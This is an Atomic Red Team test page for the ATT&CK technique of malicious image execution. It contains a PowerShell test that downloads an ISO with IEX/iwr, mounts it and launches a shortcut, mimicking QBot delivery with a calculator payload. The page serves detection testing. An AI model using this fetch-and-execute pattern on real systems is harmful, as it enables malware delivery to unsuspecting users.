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Atomic Red Team
atomics
T1204.003

T1204.003 - User Execution: Malicious Image

Description from ATT&CK (opens in a new tab)

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware (opens in a new tab), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location (opens in a new tab)).(Citation: Aqua Security Cloud Native Threat Report June 2021)

Atomic Tests


Atomic Test #1 - Malicious Execution from Mounted ISO Image

Adversaries may rely on a user running a malicious image to facilitate execution

Supported Platforms: Windows

auto_generated_guid: e9795c8d-42aa-4ed4-ad80-551ed793d006

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk

Cleanup Commands:

start-sleep -s 5
stop-process -Name "Calculatorapp" -Force 
dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"